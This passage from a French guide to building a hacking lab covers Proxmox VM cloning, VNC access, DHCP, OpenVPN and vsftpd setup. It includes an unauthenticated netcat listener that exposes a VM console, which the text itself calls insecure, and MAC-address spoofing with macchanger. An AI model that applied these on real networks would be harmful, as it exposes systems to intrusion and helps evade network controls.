Nous constatons que la VM 501 est bien créée, mais elle a un nom par défaut, ne dispose pas
de mémoire RAM ni de disque dur et que son fichier de configuration est vide. Mais comme
cette VM existe à présent, il est possible de restaurer la sauvegarde de la VM 500 dessus.
root@proxmox:~# qmrestore /var/lib/vz/dump/dump/vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz 501 -force -unique 1
restore vma archive: zcat /var/lib/vz/dump/dump/vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz|vma extract -v -r
/var/tmp/vzdumptmp27332.fifo - /var/tmp/vzdumptmp27332
CFG: size: 259 name: qemu-server.conf
DEV: dev_id=1 size: 10737418240 devname: drive-ide0
CTIME: Thu Apr 4 11:12:16 2013
Formatting ’/var/lib/vz/images/501/vm-501-disk-1.raw’, fmt=raw
size=10737418240
new volume ID is ’local:501/vm-501-disk-1.raw’
map ’drive-ide0’ to ’/var/lib/vz/images/501/vm-501-disk-1.raw’
(write zeros = 0)
progress 1% (read 107413504 bytes, duration 0 sec)
progress 2% (read 214761472 bytes, duration 0 sec)
progress 3% (read 322174976 bytes, duration 0 sec)
progress 4% (read 429522944 bytes, duration 0 sec)
progress 5% (read 536870912 bytes, duration 0 sec)
progress 6% (read 644284416 bytes, duration 0 sec)
progress 7% (read 751632384 bytes, duration 0 sec)
progress 8% (read 859045888 bytes, duration 0 sec)
progress 9% (read 966393856 bytes, duration 0 sec)
progress 10% (read 1073741824 bytes, duration 0 sec)
progress 11% (read 1181155328 bytes, duration 0 sec)
progress 12% (read 1288503296 bytes, duration 0 sec)
...
progress 98% (read 10522722304 bytes, duration 1 sec)
progress 99% (read 10630070272 bytes, duration 1 sec)
progress 100% (read 10737418240 bytes, duration 1 sec)
total bytes read 10737418240, sparse bytes 10737414144 (100%)
space reduction due to 4K zero bocks 1.5e+03%
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
501 Win1 stopped 512 10.00 0
root@proxmox:~#
Nous constatons bien que la VM d’ID 501 présente une mémoire RAM de 512 Mo et un
disque dur de 10 Go après restauration. Le problème est qu’elle possède le même nom que la
machine 500. Changeons celui-ci.
root@proxmox:~# qm set 501 -name Win2
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
501 Win2 stopped 512 10.00 0
root@proxmox:~#
Lors de la restauration, nous avons placé le paramètre unique à 1. Ceci permet de générer une
nouvelle adresse MAC pour la VM clonée. Comparons les deux fichiers de configuration des
VM 500 et 501.
root@proxmox:~# more /etc/pve/qemu-server/500.conf
bootdisk: ide0
cores: 1
ide0: local:500/vm-500-disk-1.raw,size=10G
ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K
kvm: 0
memory: 512
name: Win1
net0: rtl8139=82:EE:6A:BE:82:DA,bridge=vmbr0
ostype: wxp
sockets: 1
root@proxmox:~# more /etc/pve/qemu-server/501.conf
bootdisk: ide0
cores: 1
ide0: local:501/vm-501-disk-1.raw,size=10G
ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K
kvm: 0
memory: 512
name: Win2
net0: rtl8139=EE:79:7D:A2:BD:0F,bridge=vmbr0
ostype: wxp
sockets: 1
root@proxmox:~#
Les adresses MAC sont bien différentes ainsi que le nom de VM et, le plus important, le nom
du disque dur.
L’émulation d’une machine avec KVM / QEMU étant totale au niveau du matériel, elle est
souvent utilisée dans le cas de machines Windows. Pour accéder à ces machines, nous avons
vu qu’il était possible de le faire via l’interface web dans une console Java. Cette console
n’est pas toujours très stable et il est parfois préférable d’envisager d’autres moyens d’accéder
à la VM si nous en avons la possibilité. Ce n’est bien entendu pas toujours le cas. Dans la
situation où nous nous trouvons, nous avons le contrôle total de notre serveur Proxmox et du
réseau. Nous pouvons donc ouvrir un port qui sera redirigé vers un contrôle distant de type
VNC (Virtual Network Computing) de notre machine virtuelle. En effet, Proxmox utilise
VNC pour l’accès aux machines KVM. Cette connexion passe par un proxy VNC. Il est
possible de passer un argument à la VM soit en ligne de commande, soit directement dans son
fichier de configuration. Nous allons modifier celui-ci pour qu’il écoute sur une IP
quelconque sur un port donné. Pour ce faire, nous ajoutons la ligne suivante à la fin du fichier
/etc/pve/qemu-server/500.conf :
args: -vnc 0.0.0.0:100
Attention, l’écoute d’une connexion VNC se fera sur toutes les adresses IP mais pas sur le
port 100 comme indiqué en fin de ligne. En effet, le port par défaut étant 5900, le nombre
mentionné en fin de ligne sera ajouté au port initial. L’écoute se fera donc ici sur le port 6000.
Il faut ensuite rediriger la connexion effectuée sur le Proxmox dans le proxy VNC de la VM.
Ceci est assez simple avec la commande suivante :
root@proxmox:~# nc -l -p 5900 -c "qm vncproxy 500"
Voilà, nous pouvons nous connecter à la VM d’ID 500 en VNC sur le port 6000. Mais quel
client utiliser ? Dans le cas d’un système Windows, nous vous conseillons TightVNC
disponible à l’adresse suivante : http://www.tightvnc.com/
Il existe une version complètement Open Source de celui-ci. Nous téléchargeons celle-ci et
l’installons. Nous validons le premier écran et le deuxième en cochant l’acceptation de la
licence. Nous ne voulons installer que le client et pas le serveur. Nous cliquons alors sur
Custom au troisième écran.
Nous choisissons de ne pas installer le serveur (Entire feature will be unavailable) et
passons à la suite. Pour les deux écrans suivants, nous acceptons les options par défaut, puis
l’installation s’effectue. Il ne reste plus qu’à cliquer sur Finish au dernier écran.
Nous démarrons TightVNC et saisissons l’adresse de notre serveur Proxmox dans le champ
requis, suivie du port 6000 séparé par « :: » de l’IP, puis cliquons sur Connect.
La connexion s’établit et nous sommes face à notre VM Windows d’ID 500.
La procédure est encore plus simple sous Linux. Si vous êtes sous Debian, TightVNC se
trouve dans les dépôts :
root@bt:~# aptitude search tightvnc
p tightvnc-java - TightVNC
java applet and command line program
p tightvncserver - virtual
network computing server software
c xtightvncviewer - virtual
network computing client software for X
root@bt:~#
Un simple aptitude install fera l’affaire. Bien souvent, le paquet est déjà installé avec la
distribution.
root@bt:~# aptitude install xtightvncviewer
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
The following NEW packages will be installed:
xtightvncviewer
0 packages upgraded, 1 newly installed, 0 to remove and 0 not
upgraded.
Need to get 63.7kB of archives. After unpacking 201kB will be used.
1.3.9-6) ...
...
Processing triggers for menu ...
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
Writing extended state information... Done
root@bt:~#
Le client VNC peut alors être lancé en précisant l’IP du serveur et le port d’écoute.
root@bt:~# vncviewer 10.5.5.2::6000
VNC Viewer Free Edition 4.1.1 for X - built Apr 9 2010 15:52:37
Copyright (C) 2002-2005 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
Sat Apr 6 09:35:41 2013
CConn: connected to host 10.5.5.2 port 6000
CConnection: Server supports RFB protocol version 3.8
CConnection: Using RFB protocol version 3.8
TXImage: Using default colormap and visual, TrueColor, depth
24.
CConn: Using pixel format depth 6 (8bpp) rgb222
CConn: Using ZRLE encoding
Nous voyons la connexion s’établir et nous nous trouvons face à l’écran de la VM d’ID 500.
Ici, nous ne trouvons pas le menu de configuration comme sous Windows, mais nous pouvons
faire apparaître celui-ci en pressant [F8].
Le fait de passer par le serveur vncproxy du Proxmox permet d’accéder à toutes les VM sans
distinction de système d’exploitation et en évitant la console Java. Cela permet aussi
l’installation de tout type de système d’exploitation.
Attention, la procédure que nous avons indiquée ici est purement pratique dans le cadre d’un
laboratoire. Elle n’est absolument pas sécurisée, car tout le monde peut se connecter aux VM
sans restriction et les communications ne sont pas chiffrées.
Par la suite, une fois les systèmes installés sur les VM, il est possible d’envisager toutes les
techniques d’administration distante, par exemple :
Installer un serveur VNC directement sur le système de la VM.
Utiliser Rdesktop pour les machines Windows.
Utiliser SSH pour les machines Linux.
Utiliser des services de connexions de machines par serveur extérieur intermédiaire
comme TeamViewer ou Logmein.
Établir une connexion VNC chiffrée par un certificat sur Proxmox.
Toutes ces techniques dépassent le cadre de notre laboratoire de test et nous ne les
développerons pas ici. Nous vous conseillons malgré tout dans le cadre d’une mise en
production de vous intéresser de près à celles-ci.
Conclusion
Ce chapitre nous a montré la puissance qu’offre la mise en place d’un serveur Proxmox. Si la
création de machines virtuelles avec KVM permet d’émuler le matériel et d’installer des
systèmes complets, nous constatons que son utilisation est moins souple que celle d’OpenVZ.
C’est pour cette raison que nous vous conseillons d’utiliser plutôt des conteneurs quand cela
est possible.
Proxmox offre bien d’autres possibilités et nous n’avons parcouru que celles qui nous
paraissaient essentielles pour la mise en place de notre laboratoire de test. Pour passer à une
réelle mise en production de services sur ce type de serveur, nous ne saurions trop vous
conseiller de vous reporter à la documentation de Proxmox.
Notre laboratoire n’est pas encore prêt pour commencer des tests de pénétration. Il faut à
présent mettre en place tout ce qui est rencontré couramment dans un réseau d’entreprise,
privé ou d’administration. Le chapitre suivant va être consacré à ces installations.
Machines virtuelles et services
Introduction
Le Proxmox étant installé, nous allons nous atteler à créer différentes machines virtuelles
telles que présentées dans le chapitre Proxmox. Pour chacune des parties suivantes, nous
aurons, au préalable, installé une machine virtuelle sous Debian.
Nous ne reviendrons pas sur l’installation des différentes machines virtuelles mais nous nous
concentrerons sur les services à installer.
Nous aurons besoin, pour la création de notre laboratoire, de desservir du DHCP, d’avoir
accès en VPN sur notre Proxmox, d’avoir un accès à un serveur FTP, de disposer d’un serveur
sous asterisk pour tester la VoIP, de différentes autres machines où nous installerons des
épreuves de hacking telles que des crackmes, des wargames, des failles web, mais nous
aurons aussi besoin de superviser tout cela.
Dans ce chapitre, nous créerons et installerons puis configurerons les différentes machines
suivant nos besoins afin d’avoir à la fin du chapitre un laboratoire fonctionnel de hacking.
Serveur DHCP
Nous aurons peut-être à un certain moment besoin de donner des adresses IP à nos différentes
machines, qu’elles soient virtuelles ou réelles.
Un serveur DHCP nous simplifiera la vie et nous permettra d’attribuer des adresses IP
aléatoires ou non suivant la configuration de ce dernier.
Nous ferons le choix de distribuer des adresses IP fixes pour nos machines virtuelles et des
adresses IP dynamiques pour les autres machines, c’est-à-dire nos machines clientes.
1. Installation des paquets nécessaires
Nous allons d’abord installer les paquets nécessaires :
fasm# aptitude install isc-dhcp-server
Le paquet est maintenant installé mais le serveur DHCP ne peut pas se lancer pour l’instant ;
nous devons configurer le serveur.
Le service qui était avant dhcpd est maintenant devenu isc-dhcp-server.
Rappelons ici que pour lancer le serveur comme la plupart des services sous Debian et
Ubuntu, le stopper ou le relancer, nous pourrons utiliser ces commandes :
fasm# service isc-dhcp-server start|stop|restart
2. Configuration
Le fichier de configuration se trouve dans /etc/dhcp et se nomme dhcp.conf.
Nous pouvons ouvrir ce fichier :
Ci-dessus nous avons bien sûr un extrait de la configuration par défaut. La plupart des
possibilités offertes par ce serveur DHCP sont écrites mais « dévalidées » grâce au signe ’#’
qui se trouve devant la ligne.
Nous avons juste à supprimer le ’#’ et à modifier la configuration en fonction de notre réseau
(masque de réseau, adressage IP, passerelle, DNS…) suivant ce que nous avons décidé
comme distribution d’adresses DHCP.
Ce qui nous importe est la partie qui va nous permettre d’attribuer des adresses IP dynamiques
pour les machines clientes et des adresses IP fixes pour les machines virtuelles.
Il nous faudra donc déjà pour ces dernières connaître leur adresse MAC.
Un simple ifconfig nous fournira ces informations :
L’adresse MAC par exemple pour cette machine virtuelle est, pour l’interface réseau eth0,
08:00:27:5e:7b:a7.
eth0 est le nom de notre carte réseau sous Linux ; cela aurait pu être eth1, eth2 wlan0 ou autre
suivant notre type de liaison (filaire ou Wi-Fi).
Nous pouvons donc maintenant commencer à configurer le fichier /etc/dhcp/dhcpd.conf.
Nous allons donc ouvrir ce fichier, grâce à nano par exemple, et indiquer les adresses MAC
correspondant à des adresses IP suivant le plan d’adressage que nous aurons défini, par
exemple, 192.168.1.0 / 24.
Dans l’exemple ci-dessus, deux machines sont configurées en adresses IP fixes, la machine
vm_ftp d’adresse MAC 08:00:27:5e:7b:a7 et la machine vm_web d’adresse MAC
08:00:27:5e:7b:a2 qui auront respectivement les adresses IP 192.168.1.2 et 192.168.1.3.
La configuration type pour chaque machine est :
host nom_machine {
hardware ethernet adresse_MAC ;
fixed-address adresse_IP ;
}
Nous pourrons de la même manière imposer les adresses IP en fonction des adresses MAC
des autres machines virtuelles.
Rappelons que l’adresse MAC est composée de six octets séparés par des « : » et que les trois
premiers octets sont l’identifiant du constructeur et les trois derniers, un numéro unique
correspondant à l’interface réseau.
En théorie, cette adresse MAC est unique et devait être infalsifiable à sa création mais nous en
sommes loin car une simple commande Linux permet de la changer.
Nous pourrons si nous le souhaitons installer le paquet macchanger qui permet de changer ces
adresses MAC mais au redémarrage de la machine, l’adresse MAC d’origine sera restaurée.
fasm# aptitude install macchanger macchanger-gtk
Les commandes suivantes permettent de changer entre autres votre adresse MAC :
# macchanger eth1
Current MAC: 00:40:96:43:ef:9c [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:40:96:43:ef:9d [wireless] (Cisco/Aironet 4800/340)
# macchanger --endding eth1
Current MAC: 00:40:96:43:e8:ec [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:40:96:6f:0f:f2 [wireless] (Cisco/Aironet 4800/340)
# macchanger --another eth1
Current MAC: 00:40:96:43:87:1f [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:02:2d:ec:00:6f [wireless] (Lucent Wavelan IEEE)
# macchanger -A eth1
Current MAC: 00:40:96:43:39:a6 [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:10:5a:1e:06:93 (3Com, Fast Etherlink XL in a Gateway)
# macchanger -r eth1
Current MAC: 00:40:96:43:f1:fc [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 6b:fd:10:37:d2:34 (unknown)
# macchanger --mac=01:23:45:67:89:AB eth1
Current MAC: 00:40:96:43:87:65 [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 01:23:45:67:89:ab (unknown)
# ./macchanger -list=Cray
Misc MACs:
Num MAC Vendor
--- --- ------
065 -- 00:00:7d -- Cray Research Superservers,Inc
068 -- 00:00:80 -- Cray Communications (formerly Dowty Network
Services)
317 -- 00:40:a6 -- Cray Research Inc.
Il nous faudra bien sûr configurer chaque machine virtuelle pour que leur interface, eth0 par
exemple, soit en DHCP (client). Nous verrons cela lorsque nous aurons fini de configurer le
serveur.
Nous pouvons passer maintenant à la configuration des machines clientes qui seront en
adressage dynamique.
Ces machines devront bien sûr être sur la même plage réseau que les différentes VM afin
qu’elles puissent communiquer.
Nous avons ci-dessus la configuration correspondant à l’adressage des machines virtuelles,
soit de 192.168.1.20 à 192.168.1.100. Comme dit précédemment, ces machines seront en
adressage dynamique, c’est-à-dire qu’elles pourraient changer d’adresse IP à chaque
redémarrage. Nous aurions pu bien sûr limiter le nombre de machines et n’autoriser qu’à
distribuer des adresses IP allant de 192.168.1.20 à 192.168.1.30 si nous n’avions besoin que
de 11 machines virtuelles (le principe est identique pour des machines non virtuelles).
La configuration minimale pour déterminer des adresses IP statiques est donc :
Subnet adresse_reseau netmask masque_reseau {
range ip_premiere_machine ip_derniere_machine ;
option routeurs ip_passerelle ;
}
Il existe bien sûr beaucoup d’options et configurations possibles, nous pourrons pour cela
aller rechercher sur Internet toutes les possibilités offertes par le serveur DHCP suivant nos
besoins.
Les machines qui se connecteront en DHCP sur ce réseau obtiendront donc automatiquement
une adresse IP.
Sous Linux, il suffit d’effectuer la commande suivante pour obtenir une adresse IP :
client1# dhclient eth0
On suppose bien sûr que l’interface réseau du client est eth0.
Pour connaître le nom des différentes cartes réseau de notre machine, il suffit d’exécuter la
commande suivante :
fasm# ifconfig -a
Si nous effectuons un simple ifconfig et que nous ne voyons pas de carte réseau ou pas toutes,
imaginons que ce soit eth1 que nous ne voyons pas, il suffit de faire :
fasm#ifconfig eth1 up
Avant de tenter de lancer le serveur DHCP, il va falloir que la machine virtuelle DHCP ait
une adresse IP statique dans la plage réseau configurée dans dhcpd.conf.
Nous allons pour cela configurer le fichier interfaces qui se trouve dans /etc/network.
Nous lui attribuerons l’adresse IP 192.168.1.1.
Nous pouvons ouvrir ce fichier grâce à nano par exemple :
fasm#nano /etc/network/interfaces
La configuration par défaut est une demande DHCP. Nous devons donc changer cela pour une
adresse IP statique. Ainsi, à chaque redémarrage, la machine aura toujours la même adresse
IP.
Nous pouvons maintenant relancer les interfaces réseau.
Pour cela, nous devrons nous rendre dans /etc/init.d afin de trouver le démon réseau qui se
nomme networking.
La commande sera donc :
fasm #/etc/init.d/networking restart
Si nous souhaitons juste le stopper, nous remplacerons restart par stop ou par start si nous
voulons le lancer.
Nous voyons ici que dans la partie eth0, après inet adr:, nous avons notre adresse IP inscrite
avec un masque en /24 en notation CIDR, soit 255.255.255.0.
La configuration a réussi ; nous pouvons tenter de lancer le serveur DHCP.
Tout fonctionne parfaitement, nous avons maintenant un serveur DHCP fonctionnel.
Nous pourrons tester le bon fonctionnement dès que nous aurons une autre machine virtuelle
dans laquelle nous lancerons un dhclient eth0 par exemple et qu’une adresse IP sera
distribuée.
Nous pouvons passer à l’installation et la configuration des autres services.
OpenVPN
OpenVPN est une solution qui se base sur SSL et son port est 1194. Il est composé d’un
serveur et de clients. Il va donc y avoir une authentification du client et du serveur et la
création d’un canal sécurisé entre les deux.
Ce service est assez simple à configurer si nous suivons bien la procédure décrite ci-dessous.
Nous devons maintenant, avec le chapitre Proxmox, avoir toutes les notions nécessaires et
connaître parfaitement la définition et le fonctionnement de route et bridge.
Rappelons quand même qu’il existe deux modes de fonctionnement, le « routé » et le « bridgé
» :
Le mode routé permet de connecter des utilisateurs itinérants à un réseau interne. Nous
appelons aussi cela le NAT. Dans une machine virtuelle en NAT, la machine aura une
adresse différente (réseau différent) de la machine réelle. Par exemple, la machine
réelle pourra être en 192.168.1.0 et les machines en NAT en 10.2.0.0.
Le mode ponté ou bridgé permet de relier entre eux deux sous-réseaux. Nous pourrons
dans ce cas avoir par exemple la machine réelle dans la même plage d’adresse IP que
la machine virtuelle.
Grâce à OpenVPN, nous allons pouvoir accéder de n’importe où dans le monde à nos
ressources locales de manière sécurisée, soit ici notre laboratoire.
1. Installation des paquets
Ici encore rien de plus facile, un simple aptitude install et le logiciel est installé sur notre
machine, qui, je le rappelle, peut être une nouvelle machine virtuelle sous Debian par
exemple.
Nous aurions pu aussi installer le VPN sur la même machine que la VM DHCP mais nous
préférons ici une machine par service.
fasm# aptitude install openvpn
Nous allons ensuite copier les fichiers de configuration :
sudo mkdir /etc/openvpn/easy-rsa/
sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/
openvpn/easy-rsa/
sudo chown -R $USER /etc/openvpn/easy-rsa/
Nous sommes prêts pour configurer maintenant le serveur et le client.
2. Configuration
a. Serveur
Nous allons regarder ce qui a été copié dans le répertoire easy-rsa :
Éditons le fichier vars.
Nous avons ici les valeurs par défaut des variables.
Nous allons donc entrer ce que nous désirons, par exemple :
Nous allons maintenant générer les certificats (.crt) et les clés (.key) :
cd /etc/openvpn/easy-rsa/
source vars
./clean-all
./build-dh
./pkitool -initca
./pkitool -server server
sudo openvpn -genkey -secret keys/ta.key
Il nous reste à exécuter la dernière commande et à aller voir si les clés ont bien été générées
dans le répertoire keys :
Les clés et certificats sont donc bien présents. Ce qui nous intéresse, ce sont les fichiers
server.crt, server.key, ta.key, dh1024.pem, ca.key et ca.crt.
Nous avons besoin de les déplacer. Nous pouvons donc les copier dans /etc/openvpn :
sudo cp keys/ca.crt keys/ta.key keys/server.crt keys/server.key
keys/dh1024.pem /etc/openvpn/
La création des certificats du côté serveur est terminée.
Nous pouvons maintenant générer un répertoire /etc/openvpn/jail dans lequel le processus
OpenVPN sera « chrooté » (c’est-à-dire que chacun sera prisonnier de son espace personnel)
afin de limiter les dégâts en cas de faille dans OpenVPN, puis un autre répertoire,
/etc/openvpn/clientconf, qui contiendra la configuration des clients.
Chrooter un programme consiste à le lancer en utilisant la commande chroot. Cette
commande permet de changer l’emplacement de la racine (/). C’est-à-dire que les utilisateurs
auront l’impression d’être à la racine (/) alors qu’en réalité ils se trouveront dans
/etc/openvpn/jail.
D’un point de vue sécurité, ils seront comme « enfermés » dans ce répertoire et ne pourrons
en théorie pas en sortir.
sudo mkdir /etc/openvpn/jail
sudo mkdir /etc/openvpn/clientconf
Nous pouvons maintenant passer au fichier de configuration principal et créer le fichier
server.conf qui se trouve dans /etc/openvpn/.
fasm# nano server.conf
# Serveur TCP/443
mode server
dev tun
proto tcp
port 443
dev tun
# Cles et certificats
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
tls-auth ta.key 0
cipher AES-256-CBC
# Reseau
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 8.8.8.8″
push "dhcp-option DNS 8.8.4.4″
keepalive 10 120
# Securite
user nobody
group nogroup
chroot /etc/openvpn/jail
persist-key
persist-tun
comp-lzo
# Log
verb 3
mute 20
status openvpn-status.log
; log-append /var/log/openvpn.log
Le fichier server.conf est configuré sur le port 443 en TCP mais nous pouvons bien sûr définir
le protocole UDP et le port que nous souhaitons.
Nous pouvons maintenant tester notre configuration :
fasm#openvpn server.conf
Nous obtenons à la fin « Sequence Completed ». La configuration précédente est donc
correcte.
Nous pouvons reprendre le fichier précédent afin d’ajouter une dernière ligne :
log-append /var/log/openvpn.log
Nous pouvons lancer le serveur maintenant :
fasm# /etc/init.d/openvpn start
Le serveur est lancé, le client peut se connecter sur ce dernier mais nous ne pouvons pas faire
grand-chose de plus. En effet, la plage d’adresses 10.8.0.0 n’est pas routée.
Il va donc falloir maintenant router cela.
Nous allons donc configurer le serveur pour qu’il joue le rôle de routeur entre l’interface VPN
(tun0) et l’interface physique eth0 et « natter » les adresses en 10.8.0.x vers l’adresse réelle.
Nous aurions pu configurer le serveur non pas en « tun » mais en « tap ». La littérature
d’OpenVPN nous indique qu’il est souhaitable de rester en tun.
Tun et tap sont des périphériques virtuels.
Tap simule un lien (link layer) et se situe au niveau de la couche 2 du modèle OSI.
Tun est un tunnel réseau qui simule un périphérique de la couche Ethernet et qui travaille avec
la couche 3 du modèle OSI comme les paquets IP.
Nous allons d’abord autoriser le forwarding (routage) :
fasm# echo 1 > /proc/sys/net/ipv4/ip_forward
Pour rendre ce paramètre permanent, même après un redémarrage, nous devons entrer dans le
fichier /etc/sysctl.conf et mettre la variable net.ipv4.ip_forward=1, cette variable étant déjà
présente dans le fichier de configuration mais initialisée à 0.
Nous devons maintenant réaliser la translation d’adresse (NAT) et ce, grâce aux règles
iptables.
Iptables sera vu en détail dans le chapitre Sécurisation du PC qui parlera de sécurisation des
systèmes. Mais pour l’instant, contentons-nous d’appliquer la règle suivante :
fasm#iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j
MASQUERADE
Pour être concis pour l’instant, tout ce qui transite par le réseau 10.8.0.0/24 est transféré vers
la carte réseau eth0. Nous obtenons donc directement, dès la validation de cette règle, l’accès
au réseau, surtout à Internet, du client connecté au VPN.
Nous pouvons bien entendu rendre cette règle fixe même au redémarrage en sauvegardant
celle-ci.
iptables-save > /etc/iptables.rules
Le serveur est prêt, nous pouvons configurer à présent le client.
b. Client
Nous allons encore un peu rester sur le serveur, nous devons en effet générer les clés pour
chaque client que nous souhaitons accueillir.
Supposons que nous souhaitions créer une clé pour un client Franck.
Nous devons d’abord nous rendre dans le dossier approprié et générer ensuite la clé.
cd /etc/openvpn/easy-rsa
source vars
./build-key Franck
Voici ce que nous obtenons :
Le script a généré trois fichiers dans /etc/openvpn/easy-rsa/keys/ :
Franck.crt : certificat pour le client
Franck.key : clé pour le client
Franck.csr : certificat à garder sur le serveur
Pour nous simplifier la tâche, nous allons créer une archive avec les clés afin de transmettre
facilement ces dernières au client.
Nous allons pour cela copier les fichiers nécessaires pour le client dans son dossier sur le
serveur, dossier que nous allons créer.
fasm#mkdir /etc/openvpn/clientconf/Franck
fasm#cp /etc/openvpn/ca.crt /etc/openvpn/ta.key keys/Franck.crt
keys/Franck.key /etc/openvpn/clientconf/Franck
Nous allons maintenant entrer dans le répertoire du client puis configurer un fichier que nous
nommerons client.conf.
fasm#cd /etc/openvpn/clientconf/Franck
fasm# nano client.conf
# Client
client
dev tun
proto tcp-client
#adresse IP du serveur VPN
remote 192.168.1.2 443
resolv-retry infinite
cipher AES-256-CBC
# Cles
ca ca.crt
cert Franck.crt
key Franck.key
tls-auth ta.key 1
# Securite
nobind
persist-key
persist-tun
comp-lzo
verb 3
Si nous souhaitons utiliser OpenVPN sous Windows, il nous suffira de renommer ce fichier
client.conf en client.ovpn.
Nous exécuterons donc la commande :
fasm#cp client.conf client.ovpn
Il suffit maintenant de transférer tous ces fichiers au client en le zippant par exemple grâce à
la commande zip.
fasm@/etc/openvpn/clientconf/Franck# zip Franck.zip *.*
Nous pouvons transférer ce fichier au client qui le dézippera dans un répertoire qu’il aura
préalablement créé (exemple : /home/fasm/vpn/).
Sur le client, dès réception du fichier, nous nous placerons dans le répertoire désiré et nous
exécuterons :
Client$unzip Franck.zip
Le client se placera ensuite dans ce répertoire et lancera la commande :
Client# openvpn client.conf
Si tout se passe bien, nous obtiendrons l’écran suivant :
Voilà, nous sommes dans un VPN, une connexion sécurisée, et à partir de maintenant,
n’importe où dans le monde, nous avons accès à nos machines.
Que se passe-t-il si nous sommes dans une entreprise et que nous passons par un proxy ?
Dans ce cas, pas de problème, il suffit d’ajouter une ligne dans le client.conf :
http-proxy adresse_ip_proxy port_proxy passwd.txt basic
Le fichier passwd.txt qui se trouvera dans le même répertoire que client.conf comportera en
première ligne votre login de connexion et en deuxième ligne votre mot de passe.
Serveur FTP
Nous aurons besoin dans notre laboratoire de mettre à disposition de la documentation, des
binaires ou autres.
Un moyen rapide et efficace est d’avoir à disposition un serveur FTP. Il en existe beaucoup,
nous prendrons VsFTP.
Que souhaitons-nous ?
Que chaque utilisateur se connecte avec un identifiant propre. Le système pourra ainsi
garder la trace des actions de chacun (savoir qui fait quoi).
Que chaque utilisateur dispose d’un espace où il puisse stocker ses fichiers de façon
privée.
Que chaque utilisateur puisse accéder à un espace public.
Tout cela est faisable facilement grâce à vsftpd (Very Secure FTPd ) qui équipe des serveurs
FTP tels que ceux de Red Hat, Suse, OpenBSD, kernel.org et Debian.
1. Installation
Là non plus, rien de très compliqué : il suffit d’exécuter la commande ci-après :
fasm#aptitude install vsftpd
Ceci, dans une nouvelle machine virtuelle nommée par exemple VM-FTP.
L’installation est terminée.
2. Configuration
Ici, pas trop de questions à se poser, nous n’aurons qu’un seul fichier de configuration à
modifier.
Par défaut, si nous laissons le fichier d’installation, nous pouvons nous connecter en anonyme
sur le serveur FTP (après l’avoir lancé, bien sûr).
Nous allons donc modifier tout cela pour l’adapter à notre vision du FTP.
Nous allons ouvrir le fichier vsftpd.conf qui se trouve dans /etc/.
Dans le fichier ci-dessous, nous avons pour chaque configuration, l’explication incluse juste
au-dessus.
# Nous voulons que le serveur fonctionne en mode standalone
listen=YES
#
# On ne veut surtout pas de connexions en mode anonymous
anonymous_enable=NO
#
# On veut que les utilisateurs locaux puissent se connecter
local_enable=YES
#
# On veut que les utilisateurs puissent remonter des fichiers sur
# le serveur
write_enable=YES
#
# On fixe le masque local a 022 (les fichiers remontés auront
# des droits en 755)
local_umask=022
#
# On interdit l’upload anonyme
anon_upload_enable=NO
#
# Idem pour la creation de repertoires
anon_mkdir_write_enable=NO
#
# On demande a ce que les actions des utilisateurs soient loguees
xferlog_enable=YES
#
# On verifie que la commande PORT provient bien du port 20 de
# la machine cliente
connect_from_port_20=YES
#
# Les logs seront enregistres dans le fichier /var/log/vsftpd.log
xferlog_file=/var/log/vsftpd.log
#
# On declare les valeurs de timeout. Celles fournies par defaut
# sont ok pour notre utilisation
idle_session_timeout=300
data_connection_timeout=120
connect_timeout=60
accept_timeout=60
#
# Par securite, on interdit la commande ABOR
async_abor_enable=NO
#
# Les transferts en ASCII sont souvent source de confusion
ascii_upload_enable=NO
ascii_download_enable=NO
#
# Par securite, on change la banniere
ftpd_banner=Bienvenue sur le serveur du Laboratoire de Hacking
#
# On veut limiter les utilisateurs a leur repertoire
chroot_local_user=YES
chroot_list_enable=NO
#
# Les heures d’enregistrement des fichiers seront affichees a
# l’heure locale
use_localtime=YES
Nous pouvons maintenant tenter de lancer le serveur FTP :
fasm#/etc/init.d/vsftpd start
Le serveur est lancé.
Les utilisateurs ont accès à leur répertoire personnel (il faut que les utilisateurs aient tous été
créés sur le serveur) et leurs actions sur le serveur sont enregistrées dans /var/log/vsftpd.log.
Nous allons en créer un pour nous rappeler les commandes :
Dans l’exemple ci-dessus, nous créons un utilisateur codej grâce à la commande adduser.
Des renseignements nous sont demandés dont le plus important, le mot de passe. Une fois
reçue la confirmation que les informations correctes ont été renseignées, l’utilisateur a son
espace personnel dans /home/codej.
Nous pouvons créer autant d’utilisateurs que nous le souhaitons.
Nous continuerons par la création d’un espace commun à tous les utilisateurs.
Nous allons donc créer de nouveau un utilisateur que nous nommerons par exemple «
pour_tous ».
Les fichiers devront être lus par n’importe quel utilisateur, nous allons donc devoir attribuer
des droits à ce répertoire un peu spécial.
fasm#chmod -R 755 /home/pour_tous
fasm#chown pour_tous:pour_tous -R /home/pour_tous
Nous donnons donc les droits 755 au fichier pour_tous. Cela veut dire que l’utilisateur
pour_tous a les droits en lecture, écriture et exécution. Le groupe pour_tous a les droits en
lecture et exécution et enfin, les autres ont les droits en lecture et exécution.
Nous allons maintenant créer dans chaque répertoire de chaque utilisateur un répertoire «
pour_tous ».
fasm#mkdir /home/codej/pour_tous
fasm#chown codej:codej /home/codej/pour_tous
fasm#chmod 755 /home/codej/pour_tous
Nous devons ensuite créer le lien entre le répertoire pour_tous de /home et le répertoire
pour_tous de chaque utilisateur.
